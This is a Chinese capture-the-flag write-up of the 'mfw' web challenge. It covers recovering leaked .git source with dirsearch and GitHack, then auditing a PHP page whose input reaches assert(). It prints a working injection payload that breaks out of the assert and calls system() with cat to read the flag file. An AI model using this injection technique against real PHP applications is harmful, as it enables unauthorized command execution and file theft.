WEB:mfw

背景知识

        Git泄露

        Githack使用

        命令执行漏洞

题目

 这里页面里有Git,猜测是Git泄露

先用dirsearch扫一下

确实存在.git目录,可以尝试访问一下

 使用Githack来下载并恢复.git文件

这里记得使用的时候关闭杀毒软件

结果会自动保存

 点进去先看一下flag这个文件,发现什么都没有

再看一下index.php,进行代码审计

?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}
//使用get请求方式给page传参,如果没传,默认page=home $file = "templates/" . $page . ".php";
//$file变量会接收传入的$page并且在其前面拼接templates/,在其后面拼接.php,PHP中用.来实现字符串的拼接// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//strpos() 函数会在'$file'这个字符串中进行查找,是否存在'..',当字符串里有'..',则会返回一个数(即'..'第一次出现的位置),结果为true
//与右边的false并不恒等,此时就会执行or右边的die()函数,输出 Detected hacking attempt!
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
//file_exists() 函数还会检查我们传入的page拼接后是否存在

 ​​​

 由代码审计可知,file_exists() 函数还会检查我们传入的page拼接后是否存在,在之前的githack下载文件中,templates文件夹中有四个php文件,只要传入的不是这4个,就会执行die函数,输出 That file doesn't exist!

 file_exists()函数不会对获取flag有影响

 assert()函数会将括号中的字符当成代码来执行

可以直接在第一个assert()函数处就调用cat命令来获取flag

传入的page中不能有'..',使strpos()函数返回false,和右边的false相等

payload

?page=123') or system("cat templates/flag.php");//

payload的前半段可以是存在的文件也可是不存在的文件

只需要前半段返回的是false,执行or后面的即可

在最后添加注释//,确保后面的代码不会执行

传入payload的之后,查看网页源代码可以找到flag

 参考学习链接:

攻防世界 mfw(Git源码泄露与命令执行漏洞)_mfw攻防世界_kali-Myon的博客-CSDN博客

攻防世界 mfw(Git源码泄露与命令执行漏洞)_mfw攻防世界_kali-Myon的博客-CSDN博客


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部